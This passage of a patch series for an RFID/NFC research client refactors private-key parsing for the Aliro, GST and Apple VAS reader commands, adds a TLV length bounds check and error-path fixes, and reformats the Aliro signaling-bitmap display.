fast_cmd); } @@ -1977,7 +1890,7 @@ static void aliro_print_bytes_or_ascii(const char *label, const uint8_t *data, s return; } - if (aliro_is_ascii(data, data_len)) { + if (is_printable_ascii(data, data_len)) { PrintAndLogEx(INFO, "%s %s", label, sprint_ascii(data, data_len)); } else { PrintAndLogEx(INFO, "%s %s", label, sprint_hex_inrow(data, data_len)); @@ -3336,7 +3249,7 @@ static int aliro_read_do_step_up(const aliro_read_state_t *state, document_types[document_type_count++] = ALIRO_REVOCATION_DOCUMENT_TYPE; } - aliro_print_big_header("Step-up"); + PrintAndLogInfoHeader("Step-up"); if (document_type_count == 0) { PrintAndLogEx(WARNING, "Signaling bitmap does not indicate retrievable step-up documents"); return PM3_SUCCESS; @@ -3483,8 +3396,8 @@ static int aliro_read_auth_flow(const uint8_t *kpersistent, size_t kpersistent_l aliro_flow_t flow, const aliro_step_up_scopes_t *step_up_scopes) { int status = PM3_ESOFT; - aliro_rng_t rng; - int res = aliro_rng_init(&rng); + pcrypto_rng_t rng; + int res = pcrypto_rng_init(&rng, ALIRO_RNG_PERSONALIZATION, sizeof(ALIRO_RNG_PERSONALIZATION) - 1); if (res != PM3_SUCCESS) { return res; } @@ -3558,7 +3471,7 @@ static int aliro_read_auth_flow(const uint8_t *kpersistent, size_t kpersistent_l DropField(); mbedtls_ecp_keypair_free(&reader_ephemeral_key); mbedtls_ecp_keypair_free(&reader_private_key); - aliro_rng_free(&rng); + pcrypto_rng_free(&rng); if (status == PM3_SUCCESS && have_fast_suggestion_cmd) { aliro_read_print_fast_suggestion_note(fast_suggestion_cmd); @@ -3597,14 +3510,14 @@ static int CmdHFAliroRead(const char *Cmd) { "Execute ALIRO expedited flow and optional step-up document retrieval.", "hf aliro read --reader-group-id 00112233445566778899AABBCCDDEEFF --reader-sub-group-id 00112233445566778899AABBCCDDEEFF --reader-private-key 00112233445566778899AABBCCDDEEFF00112233445566778899AABBCCDDEEFF\n" "hf aliro read --reader-group-id 00112233445566778899AABBCCDDEEFF --reader-private-key 00112233445566778899AABBCCDDEEFF00112233445566778899AABBCCDDEEFF --transaction-id 00112233445566778899AABBCCDDEEFF --k-persistent 00112233445566778899AABBCCDDEEFF00112233445566778899AABBCCDDEEFF --endpoint-public-key 04AABBCCDDEEFF00112233445566778899AABBCCDDEEFF00112233445566778899AABBCCDDEEFF00112233445566778899AABBCCDDEEFF00112233445566778899AABBCCDDEEFF --flow fast -a\n" - "hf aliro read --reader-group-id 00112233445566778899AABBCCDDEEFF --reader-private-key 00112233445566778899AABBCCDDEEFF00112233445566778899AABBCCDDEEFF --step-up-scopes matter1,non_access_extensions"); + "hf aliro read --reader-group-id 00112233445566778899AABBCCDDEEFF --reader-private-key ./reader-private-key.pem --step-up-scopes matter1,non_access_extensions"); void *argtable[] = { arg_param_begin, arg_str0("k", "k-persistent,key-persistent,kpersistent,keypersistent,kp", "", "Kpersistent (32 bytes, optional; used for fast cryptogram verification)"), arg_str1("g", "reader-group-id,readergroupid,rgi", "", "Reader group identifier (16 bytes)"), arg_str0("s", "reader-sub-group-id,readersubid,rsi", "", "Reader subgroup identifier (16 bytes, default: all zeroes)"), - arg_str1("p", "reader-private-key,readerprivkey,rpk", "", "Reader private key (32 bytes, P-256)"), + arg_str1("p", "reader-private-key,readerprivkey,rpk", "", "Reader private key (P-256): PEM, DER hex, scalar hex/base64, or file path"), arg_str0("t", "transaction-id,ti", "", "Transaction identifier (16 bytes, optional; random if omitted)"), arg_str0("e", "endpoint-public-key,endpointpublickey,epk", "", "Endpoint public key for AUTH0 fast verification (32-byte X or 65-byte uncompressed)"), arg_str0("f", "flow", "", "Transaction flow (default: step-up)"), @@ -3627,8 +3540,20 @@ static int CmdHFAliroRead(const char *Cmd) { CLIGetHexWithReturn(ctx, 3, reader_group_sub_identifier, &reader_group_sub_identifier_len); uint8_t reader_private_key[32] = {0}; - int reader_private_key_len = 0; - CLIGetHexWithReturn(ctx, 4, reader_private_key, &reader_private_key_len); + char reader_private_key_text[ALIRO_MAX_KEY_INPUT] = {0}; + int reader_private_key_text_len = 0; + if (CLIParamStrToBuf(arg_get_str(ctx, 4), (uint8_t *)reader_private_key_text, sizeof(reader_private_key_text), &reader_private_key_text_len) != 0) { + CLIParserFree(ctx); + return PM3_EINVARG; + } + if (reader_private_key_text_len < 0) { + CLIParserFree(ctx); + return PM3_EINVARG; + } + if ((size_t)reader_private_key_text_len >= sizeof(reader_private_key_text)) { + reader_private_key_text_len = (int)sizeof(reader_private_key_text) - 1; + } + reader_private_key_text[reader_private_key_text_len] = '\0'; uint8_t transaction_identifier[16] = {0}; int transaction_identifier_len = 0; @@ -3668,8 +3593,14 @@ static int CmdHFAliroRead(const char *Cmd) { PrintAndLogEx(ERR, "readersubid must be 16 bytes (got %d)", reader_group_sub_identifier_len); return PM3_EINVARG; } - if (reader_private_key_len != 32) { - PrintAndLogEx(ERR, "readerprivkey must be 32 bytes (got %d)", reader_private_key_len); + if (ensure_ec_private_key(reader_private_key_text, MBEDTLS_ECP_DP_SECP256R1, + reader_private_key, sizeof(reader_private_key)) != PM3_SUCCESS) { + PrintAndLogEx(ERR, "readerprivkey has invalid format"); + PrintAndLogEx(INFO, "Accepted formats:"); + PrintAndLogEx(INFO, " 1) PEM string with headers (BEGIN PRIVATE KEY)"); + PrintAndLogEx(INFO, " 2) DER bytes as hex or base64"); + PrintAndLogEx(INFO, " 3) Scalar as hex or base64"); + PrintAndLogEx(INFO, " 4) File path to a key in any of the formats above"); return PM3_EINVARG; } if (kpersistent_len != 0 && kpersistent_len != 32) { diff --git a/client/src/cmdhfgst.c b/client/src/cmdhfgst.c index 4862a4f5d..78d03efbe 100644 --- a/client/src/cmdhfgst.c +++ b/client/src/cmdhfgst.c @@ -2299,7 +2299,7 @@ static int CmdHFGSTRead(const char *Cmd) { void *argtable[] = { arg_param_begin, arg_str1("c", "collector-id,collectorid,cid", "", "Collector identifier (32-bit value)"), - arg_str1("p", "reader-private-key,readerprivkey,rpk", "", "Reader private key in PEM, PEM base64 body, DER hex, 32-byte scalar hex, or file path"), + arg_str1("p", "reader-private-key,readerprivkey,rpk", "", "Reader private key: PEM, DER hex, scalar hex/base64, or file path"), arg_str0(NULL, "key-version,keyversion,kv", "", "Long-term key version (default: 1)"), arg_str0(NULL, "session-id,sid", "", "Session id (8 bytes, random if omitted)"), arg_str0(NULL, "reader-nonce,nonce", "", "Reader nonce (32 bytes, random if omitted)"), @@ -2336,11 +2336,10 @@ static int CmdHFGSTRead(const char *Cmd) { ensure_ec_private_key(reader_key_text, MBEDTLS_ECP_DP_SECP256R1, cfg.reader_private_key, sizeof(cfg.reader_private_key)) != PM3_SUCCESS) { PrintAndLogEx(ERR, "Invalid reader-private-key format"); PrintAndLogEx(INFO, "Accepted formats:"); - PrintAndLogEx(INFO, " 1) PEM string (BEGIN/END EC PRIVATE KEY or PRIVATE KEY)"); - PrintAndLogEx(INFO, " 2) PEM base64 body only"); - PrintAndLogEx(INFO, " 3) DER key bytes as hex"); - PrintAndLogEx(INFO, " 4) Raw 32-byte private scalar as hex"); - PrintAndLogEx(INFO, " 5) File path to a key in one of the formats above"); + PrintAndLogEx(INFO, " 1) PEM string with headers (BEGIN PRIVATE KEY)"); + PrintAndLogEx(INFO, " 2) DER bytes as hex or base64"); + PrintAndLogEx(INFO, " 3) Scalar as hex or base64"); + PrintAndLogEx(INFO, " 4) File path to a key in any of the formats above"); CLIParserFree(ctx); return PM3_EINVARG; } diff --git a/client/src/cmdhfvas.c b/client/src/cmdhfvas.c index f6664b7c5..dab9a5ba6 100644 --- a/client/src/cmdhfvas.c +++ b/client/src/cmdhfvas.c @@ -34,12 +34,15 @@ #include #include #include "crypto/libpcrypto.h" -#include "fileutils.h" #include "mbedtls/ecp.h" #include "mbedtls/bignum.h" #include "mbedtls/ecdh.h" #include "mbedtls/ecc_point_compression.h" #include "mbedtls/gcm.h" +#include "mbedtls/ctr_drbg.h" +#include "mbedtls/entropy.h" + +#define VAS_MAX_KEY_INPUT 8192 static const iso14a_polling_frame_t WUPA_FRAME = { .frame = { 0x52 }, @@ -292,6 +295,9 @@ static int CreateGetVASDataCommand(const uint8_t *pidHash, const char *url, size static int ParseGetVASDataResponse(const uint8_t *res, size_t resLen, uint8_t *cryptogram, size_t *cryptogramLen) { struct tlvdb *tlvRoot = tlvdb_parse_multi(res, resLen); + if (tlvRoot == NULL) { + return PM3_ECARDEXCHANGE; + } const struct tlvdb *cryptogramTlvdb = tlvdb_find_full(tlvRoot, 0x9F27); if (cryptogramTlvdb == NULL) { @@ -307,48 +313,52 @@ static int ParseGetVASDataResponse(const uint8_t *res, size_t resLen, uint8_t *c return PM3_SUCCESS; } -static int LoadReaderPrivateKey(const uint8_t *buf, size_t bufLen, mbedtls_ecp_keypair *privKey) { - struct tlvdb *derRoot = tlvdb_parse_multi(buf, bufLen); - - const struct tlvdb *privkeyTlvdb = tlvdb_find_full(derRoot, 0x04); - if (privkeyTlvdb == NULL) { - tlvdb_free(derRoot); - return PM3_EINVARG; - } - const struct tlv *privkeyTlv = tlvdb_get_tlv(privkeyTlvdb); - - if (mbedtls_ecp_read_key(MBEDTLS_ECP_DP_SECP256R1, privKey, privkeyTlv->value, privkeyTlv->len)) { - tlvdb_free(derRoot); - PrintAndLogEx(FAILED, "Unable to parse private key file. Should be DER encoded ASN1"); - return PM3_EINVARG; +static int LoadReaderPrivateKey(const char *input_or_path, mbedtls_ecp_keypair *privKey) { + uint8_t key_d[32] = {0}; + int res = ensure_ec_private_key(input_or_path, MBEDTLS_ECP_DP_SECP256R1, key_d, sizeof(key_d)); + if (res != PM3_SUCCESS) { + PrintAndLogEx(FAILED, "Invalid private key input"); + PrintAndLogEx(INFO, "Accepted formats:"); + PrintAndLogEx(INFO, " 1) PEM string with headers (BEGIN PRIVATE KEY)"); + PrintAndLogEx(INFO, " 2) DER bytes as hex or base64"); + PrintAndLogEx(INFO, " 3) Scalar as hex or base64"); + PrintAndLogEx(INFO, " 4) File path to a key in any of the formats above"); + return res; } - const struct tlvdb *pubkeyCoordsTlvdb = tlvdb_find_full(derRoot, 0x03); - if (pubkeyCoordsTlvdb == NULL) { - tlvdb_free(derRoot); - PrintAndLogEx(FAILED, "Private key file should include public key component"); - return PM3_EINVARG; - } - const struct tlv *pubkeyCoordsTlv = tlvdb_get_tlv(pubkeyCoordsTlvdb); - if (pubkeyCoordsTlv->len != 66 || pubkeyCoordsTlv->value[0] != 0x00 || pubkeyCoordsTlv->value[1] != 0x04) { - tlvdb_free(derRoot); - PrintAndLogEx(FAILED, "Invalid public key data"); - return PM3_EINVARG; + mbedtls_entropy_context entropy; + mbedtls_ctr_drbg_context ctr_drbg; + mbedtls_entropy_init(&entropy); + mbedtls_ctr_drbg_init(&ctr_drbg); + + static const uint8_t personalization[] = "pm3-vas"; + int ret = mbedtls_ctr_drbg_seed(&ctr_drbg, mbedtls_entropy_func, &entropy, + personalization, sizeof(personalization) - 1); + if (ret != 0) { + mbedtls_ctr_drbg_free(&ctr_drbg); + mbedtls_entropy_free(&entropy); + PrintAndLogEx(FAILED, "Unable to initialize random generator for key derivation"); + return PM3_ESOFT; } - if (mbedtls_ecp_point_read_binary(&privKey->grp, &privKey->Q, pubkeyCoordsTlv->value + 1, 65)) { - PrintAndLogEx(FAILED, "Failed to read in public key coordinates"); - tlvdb_free(derRoot); + ret = mbedtls_ecp_group_load(&privKey->grp, MBEDTLS_ECP_DP_SECP256R1); + if (ret == 0) { + ret = mbedtls_mpi_read_binary(&privKey->d, key_d, sizeof(key_d)); + } + if (ret == 0) { + ret = mbedtls_ecp_check_privkey(&privKey->grp, &privKey->d); + } + if (ret == 0) { + ret = mbedtls_ecp_mul(&privKey->grp, &privKey->Q, &privKey->d, &privKey->grp.G, + mbedtls_ctr_drbg_random, &ctr_drbg); + } + mbedtls_ctr_drbg_free(&ctr_drbg); + mbedtls_entropy_free(&entropy); + + if (ret != 0 || mbedtls_ecp_check_pubkey(&privKey->grp, &privKey->Q) != 0) { + PrintAndLogEx(FAILED, "VAS protocol requires a valid private key on curve P-256"); return PM3_EINVARG; } - - if (mbedtls_ecp_check_pubkey(&privKey->grp, &privKey->Q)) { - PrintAndLogEx(FAILED, "VAS protocol requires an elliptic key on the P-256 curve"); - tlvdb_free(derRoot); - return PM3_EINVARG; - } - - tlvdb_free(derRoot); return PM3_SUCCESS; } @@ -427,7 +437,11 @@ static int DecryptVASCryptogram(uint8_t *pidHash, uint8_t *cryptogram, size_t cr mbedtls_ecp_keypair mobilePubKey; mbedtls_ecp_keypair_init(&mobilePubKey); - mobilePubKey.grp = privKey->grp; + if (mbedtls_ecp_group_load(&mobilePubKey.grp, privKey->grp.id) != 0) { + mbedtls_ecp_keypair_free(&mobilePubKey); + PrintAndLogEx(FAILED, "Unable to initialize mobile ephemeral key"); + return PM3_ESOFT; + } if (LoadMobileEphemeralKey(cryptogram + 4, &mobilePubKey) != PM3_SUCCESS) { mbedtls_ecp_keypair_free(&mobilePubKey); @@ -535,6 +549,7 @@ static int VASReader(uint8_t *pidHash, const char *url, size_t urlLen, uint8_t * if (apduResLen == 0 || apduRes[0] != 0x70) { PrintAndLogEx(FAILED, "Invalid response from peer"); + return PM3_ECARDEXCHANGE; } return ParseGetVASDataResponse(apduRes, apduResLen, cryptogram, cryptogramLen); @@ -545,13 +560,15 @@ static int CmdVASReader(const char *Cmd) { CLIParserInit(&ctx, "hf vas reader", "Read and decrypt Value Added Services (VAS) message", "hf vas reader --url https://example.com -> URL Only mode\n" - "hf vas reader --pid pass.com.passkit.pksamples.nfcdemo -f vas_privkey.der -@\n" + "hf vas reader --pid pass.com.passkit.pksamples.nfcdemo -k vas.passkit.der -@\n" + "hf vas reader --pid pass.com.pronto.zebra-wallet-pass.demo -k vas.zebra.der -@\n" + "hf vas reader --pid pass.com.springcard.springblue.generic -k vas.springcard.der -@\n" ); void *argtable[] = { arg_param_begin, arg_str0(NULL, "pid", "", "PID, pass type id"), - arg_str0("f", "file", "", "path to terminal private key file"), + arg_str0("k", "key,file,reader-private-key,readerprivkey,rpk", "", "Terminal private key: PEM, DER hex, scalar hex/base64, or file path"), arg_str0(NULL, "url", "", "a URL to provide to the mobile device"), arg_lit0("@", NULL, "continuous mode"), arg_lit0("v", "verbose", "Verbose output"), @@ -563,12 +580,12 @@ static int CmdVASReader(const char *Cmd) { char pid[512] = {0}; CLIParamStrToBuf(arg_get_str(ctx, 1), (uint8_t *)pid, 512, &pidlen); - int keyfnlen = 0; - char keyfn[FILE_PATH_SIZE] = {0}; - CLIParamStrToBuf(arg_get_str(ctx, 2), (uint8_t *)keyfn, FILE_PATH_SIZE, &keyfnlen); + int key_input_len = 0; + char key_input[VAS_MAX_KEY_INPUT] = {0}; + CLIParamStrToBuf(arg_get_str(ctx, 2), (uint8_t *)key_input, sizeof(key_input), &key_input_len); - if (keyfnlen == 0 && pidlen > 0) { - PrintAndLogEx(FAILED, "Must provide path to terminal private key if a pass type id is provided"); + if (key_input_len == 0 && pidlen > 0) { + PrintAndLogEx(FAILED, "Must provide terminal private key if a pass type id is provided"); CLIParserFree(ctx); return PM3_EINVARG; } @@ -581,22 +598,14 @@ static int CmdVASReader(const char *Cmd) { bool verbose = arg_get_lit(ctx, 5); CLIParserFree(ctx); - // santity checks - uint8_t *key_data = NULL; - size_t key_datalen = 0; - if (loadFile_safe(keyfn, "", (void **)&key_data, &key_datalen) != PM3_SUCCESS) { - return PM3_EFILE; - } - + const bool has_pid = pidlen > 0; mbedtls_ecp_keypair privKey; mbedtls_ecp_keypair_init(&privKey); - if (LoadReaderPrivateKey(key_data, key_datalen, &privKey) != PM3_SUCCESS) { - free(key_data); + if (has_pid && LoadReaderPrivateKey(key_input, &privKey) != PM3_SUCCESS) { mbedtls_ecp_keypair_free(&privKey); return PM3_ESOFT; } - free(key_data); PrintAndLogEx(INFO, "Requesting pass type id... " _GREEN_("%s"), sprint_ascii((uint8_t *) pid, pidlen)); @@ -619,17 +628,20 @@ static int CmdVASReader(const char *Cmd) { break; } - res = VASReader((pidlen > 0) ? pidhash : NULL, url, urllen, cryptogram, &clen, verbose); + res = VASReader(has_pid ? pidhash : NULL, url, urllen, cryptogram, &clen, verbose); if (res == PM3_SUCCESS) { - - res = DecryptVASCryptogram(pidhash, cryptogram, clen, &privKey, msg, &mlen, ×tamp); - if (res == PM3_SUCCESS) { - PrintAndLogEx(SUCCESS, "Timestamp... " _YELLOW_("%d") " (secs since Jan 1, 2001)", timestamp); - PrintAndLogEx(SUCCESS, "Message..... " _YELLOW_("%s"), sprint_ascii(msg, mlen)); - // extra sleep after successfull read - if (continuous) { - msleep(3000); + if (has_pid) { + res = DecryptVASCryptogram(pidhash, cryptogram, clen, &privKey, msg, &mlen, ×tamp); + if (res == PM3_SUCCESS) { + PrintAndLogEx(SUCCESS, "Timestamp... " _YELLOW_("%d") " (secs since Jan 1, 2001)", timestamp); + PrintAndLogEx(SUCCESS, "Message..... " _YELLOW_("%s"), sprint_ascii(msg, mlen)); + // extra sleep after successfull read + if (continuous) { + msleep(3000); + } } + } else { + PrintAndLogEx(SUCCESS, "URL-only request completed"); } } msleep(300); @@ -667,13 +679,13 @@ static int CmdVASDecrypt(const char *Cmd) { CLIParserContext *ctx; CLIParserInit(&ctx, "hf vas decrypt", "Decrypt a previously captured cryptogram", - "hf vas decrypt --pid pass.com.passkit.pksamples.nfcdemo -f vas_privkey.der -d c0b77375eae416b79449347f9fe838c05cdb57dc7470b97b93b806cb348771d9bfbe29d58538c7c7d7c3d015fa205b68bfccd726058a62f7f44085ac98dbf877120fd9059f1507b956e0a6d56d0a\n" + "hf vas decrypt --pid pass.com.passkit.pksamples.nfcdemo -k vas.passkit.der -d c0b77375eae416b79449347f9fe838c05cdb57dc7470b97b93b806cb348771d9bfbe29d58538c7c7d7c3d015fa205b68bfccd726058a62f7f44085ac98dbf877120fd9059f1507b956e0a6d56d0a\n" ); void *argtable[] = { arg_param_begin, arg_str0(NULL, "pid", "", "PID, pass type id"), - arg_str0("f", "file", "", "path to terminal private key file"), + arg_str0("k", "key,file,reader-private-key,readerprivkey,rpk", "", "Terminal private key: PEM, DER hex, scalar hex/base64, or file path"), arg_str0("d", "data", "", "cryptogram to decrypt"), arg_param_end }; @@ -683,12 +695,12 @@ static int CmdVASDecrypt(const char *Cmd) { char pid[512] = {0}; CLIParamStrToBuf(arg_get_str(ctx, 1), (uint8_t *)pid, 512, &pidlen); - int keyfnlen = 0; - char keyfn[FILE_PATH_SIZE] = {0}; - CLIParamStrToBuf(arg_get_str(ctx, 2), (uint8_t *)keyfn, FILE_PATH_SIZE, &keyfnlen); + int key_input_len = 0; + char key_input[VAS_MAX_KEY_INPUT] = {0}; + CLIParamStrToBuf(arg_get_str(ctx, 2), (uint8_t *)key_input, sizeof(key_input), &key_input_len); - if (keyfnlen == 0 && pidlen > 0) { - PrintAndLogEx(FAILED, "Must provide path to terminal private key if a pass type id is provided"); + if (key_input_len == 0) { + PrintAndLogEx(FAILED, "Must provide terminal private key input or file path"); CLIParserFree(ctx); return PM3_EINVARG; } @@ -698,22 +710,13 @@ static int CmdVASDecrypt(const char *Cmd) { CLIGetHexWithReturn(ctx, 3, cryptogram, &clen); CLIParserFree(ctx); - // santity checks - uint8_t *key_data = NULL; - size_t key_datalen = 0; - if (loadFile_safe(keyfn, "", (void **)&key_data, &key_datalen) != PM3_SUCCESS) { - return PM3_EFILE; - } - mbedtls_ecp_keypair privKey; mbedtls_ecp_keypair_init(&privKey); - if (LoadReaderPrivateKey(key_data, key_datalen, &privKey) != PM3_SUCCESS) { - free(key_data); + if (LoadReaderPrivateKey(key_input, &privKey) != PM3_SUCCESS) { mbedtls_ecp_keypair_free(&privKey); return PM3_EFILE; } - free(key_data); uint8_t pidhash[32] = {0}; sha256hash((uint8_t *) pid, pidlen, pidhash); diff --git a/client/src/crypto/libpcrypto.c b/client/src/crypto/libpcrypto.c index ca0826eec..748c29ee9 100644 --- a/client/src/crypto/libpcrypto.c +++ b/client/src/crypto/libpcrypto.c @@ -189,6 +189,8 @@ static int pcrypto_extract_priv_scalar_from_pk(const mbedtls_pk_context *pkctx, return PM3_SUCCESS; } +static int pcrypto_validate_raw_scalar(const uint8_t *scalar, size_t scalar_len, mbedtls_ecp_group_id curveid); + static int pcrypto_parse_ec_private_blob(const uint8_t *blob, size_t blob_len, mbedtls_ecp_group_id curveid, uint8_t *out_priv, size_t out_priv_len) { @@ -221,6 +223,22 @@ static int pcrypto_parse_ec_private_blob(const uint8_t *blob, size_t blob_len, return res; } +static int pcrypto_parse_ec_private_scalar_or_blob(const uint8_t *blob, size_t blob_len, + mbedtls_ecp_group_id curveid, + uint8_t *out_priv, size_t out_priv_len) { + if (blob == NULL || out_priv == NULL || blob_len == 0 || out_priv_len == 0) { + return PM3_EINVARG; + } + + if (blob_len == out_priv_len && + pcrypto_validate_raw_scalar(blob, blob_len, curveid) == PM3_SUCCESS) { + memcpy(out_priv, blob, out_priv_len); + return PM3_SUCCESS; + } + + return pcrypto_parse_ec_private_blob(blob, blob_len, curveid, out_priv, out_priv_len); +} + static int pcrypto_parse_ec_private_base64(const char *input, mbedtls_ecp_group_id curveid, uint8_t *out_priv, size_t out_priv_len) { @@ -249,7 +267,7 @@ static int pcrypto_parse_ec_private_base64(const char *input, return PM3_EINVARG; } - res = pcrypto_parse_ec_private_blob(decoded, decoded_len, curveid, out_priv, out_priv_len); + res = pcrypto_parse_ec_private_scalar_or_blob(decoded, decoded_len, curveid, out_priv, out_priv_len); free(decoded); return res; } @@ -331,7 +349,7 @@ static int pcrypto_parse_ec_private_file(const char *path, return PM3_EFILE; } - int res = pcrypto_parse_ec_private_blob(data, file_len, curveid, out_priv, out_priv_len); + int res = pcrypto_parse_ec_private_scalar_or_blob(data, file_len, curveid, out_priv, out_priv_len); if (res == PM3_SUCCESS) { free(data); return PM3_SUCCESS; @@ -392,12 +410,7 @@ static int pcrypto_parse_ec_private_text(const char *input, bool allow_file_path decoded_len = hex_to_bytes(compact, decoded, sizeof(decoded)); } if (decoded_len > 0) { - if ((size_t)decoded_len == out_priv_len && - pcrypto_validate_raw_scalar(decoded, out_priv_len, curveid) == PM3_SUCCESS) { - memcpy(out_priv, decoded, out_priv_len); - return PM3_SUCCESS; - } - int res = pcrypto_parse_ec_private_blob(decoded, (size_t)decoded_len, curveid, out_priv, out_priv_len); + int res = pcrypto_parse_ec_private_scalar_or_blob(decoded, (size_t)decoded_len, curveid, out_priv, out_priv_len); if (res == PM3_SUCCESS) { return PM3_SUCCESS; } diff --git a/client/src/emv/tlv.c b/client/src/emv/tlv.c index 870e64b7a..9dc422404 100644 --- a/client/src/emv/tlv.c +++ b/client/src/emv/tlv.c @@ -82,6 +82,9 @@ static size_t tlv_parse_len(const unsigned char **buf, size_t *len) { size_t ll = l & ~ TLV_LEN_LONG; if (ll > 5) return TLV_LEN_INVALID; + // Long-form lengths must have all declared length bytes available. + if (*len < ll) + return TLV_LEN_INVALID; l = 0; for (int i = 1; i <= ll; i++) { diff --git a/doc/commands.json b/doc/commands.json index 06288c322..fef451727 100644 --- a/doc/commands.json +++ b/doc/commands.json @@ -8654,34 +8654,36 @@ "command": "hf vas decrypt", "description": "Decrypt a previously captured cryptogram", "notes": [ - "hf vas decrypt --pid pass.com.passkit.pksamples.nfcdemo -f vas_privkey.der -d c0b77375eae416b79449347f9fe838c05cdb57dc7470b97b93b806cb348771d9bfbe29d58538c7c7d7c3d015fa205b68bfccd726058a62f7f44085ac98dbf877120fd9059f1507b956e0a6d56d0a" + "hf vas decrypt --pid pass.com.passkit.pksamples.nfcdemo -k vas.passkit.der -d c0b77375eae416b79449347f9fe838c05cdb57dc7470b97b93b806cb348771d9bfbe29d58538c7c7d7c3d015fa205b68bfccd726058a62f7f44085ac98dbf877120fd9059f1507b956e0a6d56d0a" ], "offline": true, "options": [ "-h, --help This help", "--pid PID, pass type id", - "-f, --file path to terminal private key file", + "-k, --key path to terminal private key file", "-d, --data cryptogram to decrypt" ], - "usage": "hf vas decrypt [-h] [--pid ] [-f ] [-d ]" + "usage": "hf vas decrypt [-h] [--pid ] [-k ] [-d ]" }, "hf vas help": { "command": "hf vas help", "description": "-------- ----------- Value Added Service ----------- help This help -------- ----------------- General ----------------- decrypt Decrypt a previously captured VAS cryptogram --------------------------------------------------------------------------------------- hf vas reader available offline: no Read and decrypt Value Added Services (VAS) message", "notes": [ "hf vas reader --url https://example.com -> URL Only mode", - "hf vas reader --pid pass.com.passkit.pksamples.nfcdemo -f vas_privkey.der -@" + "hf vas reader --pid pass.com.passkit.pksamples.nfcdemo -k vas.passkit.der -@", + "hf vas reader --pid pass.com.pronto.zebra-wallet-pass.demo -k vas.zebra.der -@", + "hf vas reader --pid pass.com.springcard.springblue.generic -k vas.springcard.der -@" ], "offline": true, "options": [ "-h, --help This help", "--pid PID, pass type id", - "-f, --file path to terminal private key file", + "-k, --key path to terminal private key file", "--url a URL to provide to the mobile device", "-@ continuous mode", "-v, --verbose Verbose output" ], - "usage": "hf vas reader [-h@v] [--pid ] [-f ] [--url ]" + "usage": "hf vas reader [-h@v] [--pid ] [-k ] [--url ]" }, "hf waveshare help": { "command": "hf waveshare help", From 5cbae8fc122406a9c015341176b9a947df22f7c3 Mon Sep 17 00:00:00 2001 From: kormax <3392860+kormax@users.noreply.github.com> Date: Sun, 15 Mar 2026 10:54:02 +0200 Subject: [PATCH 098/162] Update signaling bitmask print format in Aliro --- client/src/cmdhfaliro.c | 58 +++++++++++++++++++++++++---------------- 1 file changed, 36 insertions(+), 22 deletions(-) diff --git a/client/src/cmdhfaliro.c b/client/src/cmdhfaliro.c index 83d663d2f..a0abc69d0 100644 --- a/client/src/cmdhfaliro.c +++ b/client/src/cmdhfaliro.c @@ -1019,29 +1019,39 @@ static int aliro_parse_auth1_plaintext(const uint8_t *buf, size_t len, aliro_aut return PM3_SUCCESS; } -static void aliro_print_signaling_bitmap(uint16_t bitmap) { - static const char *bit_names[] = { - "Access document can be retrieved", - "Revocation document can be retrieved", - "Step-up SELECT required for doc retrieval", - "Mailbox has non-zero data", - "Mailbox read supported", - "Mailbox write/set supported", - "Notify backend supported", - "Notify bound app supported", - "RFU (bit8)", - "update_doc supported in expedited phase", - "Mailbox in step-up available", - "Notify in step-up supported", - "update_doc in step-up supported", - }; +static void aliro_print_signaling_bit(const char *bits, uint16_t mask, uint8_t bit, + const char *enabled, const char *disabled) { + const bool is_enabled = (mask & (1U << bit)) != 0; + const int pad = 15 - bit; + PrintAndLogEx(INFO, " %s", + sprint_breakdown_bin(is_enabled ? C_GREEN : C_NONE, bits, 16, pad, 1, + is_enabled ? enabled : disabled)); +} - PrintAndLogEx(INFO, "Signaling bitmap......... " _YELLOW_("0x%04X"), bitmap); - for (size_t i = 0; i < ARRAYLEN(bit_names); i++) { - if ((bitmap & (1U << i)) != 0) { - PrintAndLogEx(INFO, " " _YELLOW_("bit%-2zu") " set.............. %s", i, bit_names[i]); - } - } +static void aliro_print_signaling_bitmap(uint16_t bitmap) { + const uint8_t bitmap_bytes[2] = { + (uint8_t)((bitmap >> 8) & 0xFF), + (uint8_t)(bitmap & 0xFF), + }; + const char *bits = sprint_bin(bitmap_bytes, sizeof(bitmap_bytes)); + + PrintAndLogEx(INFO, "Signaling bitmap......... " _YELLOW_("%s") " (" _YELLOW_("0x%04X") ")", bits, bitmap); + aliro_print_signaling_bit(bits, bitmap, 15, "Reserved/unknown bit set", "Reserved/unknown bit clear"); + aliro_print_signaling_bit(bits, bitmap, 14, "Reserved/unknown bit set", "Reserved/unknown bit clear"); + aliro_print_signaling_bit(bits, bitmap, 13, "Reserved/unknown bit set", "Reserved/unknown bit clear"); + aliro_print_signaling_bit(bits, bitmap, 12, "Update document in step-up supported", "Update document in step-up not supported"); + aliro_print_signaling_bit(bits, bitmap, 11, "Notify in step-up supported", "Notify in step-up not supported"); + aliro_print_signaling_bit(bits, bitmap, 10, "Mailbox in step-up available", "Mailbox in step-up unavailable"); + aliro_print_signaling_bit(bits, bitmap, 9, "Update document in expedited phase supported", "Update document in expedited phase not supported"); + aliro_print_signaling_bit(bits, bitmap, 8, "Reserved/unknown bit set", "Reserved/unknown bit clear"); + aliro_print_signaling_bit(bits, bitmap, 7, "Notify bound app supported", "Notify bound app not supported"); + aliro_print_signaling_bit(bits, bitmap, 6, "Notify backend supported", "Notify backend not supported"); + aliro_print_signaling_bit(bits, bitmap, 5, "Mailbox write/set supported", "Mailbox write/set not supported"); + aliro_print_signaling_bit(bits, bitmap, 4, "Mailbox read supported", "Mailbox read not supported"); + aliro_print_signaling_bit(bits, bitmap, 3, "Mailbox has non-zero data", "Mailbox has zero data"); + aliro_print_signaling_bit(bits, bitmap, 2, "Step-up SELECT required for doc retrieval", "Step-up SELECT not required for doc retrieval"); + aliro_print_signaling_bit(bits, bitmap, 1, "Revocation document retrievable", "Revocation document not retrievable"); + aliro_print_signaling_bit(bits, bitmap, 0, "Access document retrievable", "Access document not retrievable"); } static bool aliro_is_zeroed(const uint8_t *buf, size_t len) { @@ -1499,6 +1509,7 @@ aliro_append_tlv(0x4D, state->reader_identifier, 32, auth0_data, sizeof(auth0_da return PM3_ESOFT; } + PrintAndLogEx(INFO, ""); PrintAndLogInfoHeader("AUTH0"); PrintAndLogEx(INFO, "Reader group id........... %s", sprint_hex_inrow(reader_group_identifier, 16)); PrintAndLogEx(INFO, "Reader sub id............. %s", sprint_hex_inrow(reader_group_sub_identifier, 16)); @@ -1794,6 +1805,7 @@ static void aliro_read_print_auth1_report(const aliro_read_state_t *state) { return; } + PrintAndLogEx(INFO, ""); PrintAndLogInfoHeader("AUTH1"); PrintAndLogEx(INFO, "AUTH1 signature........... 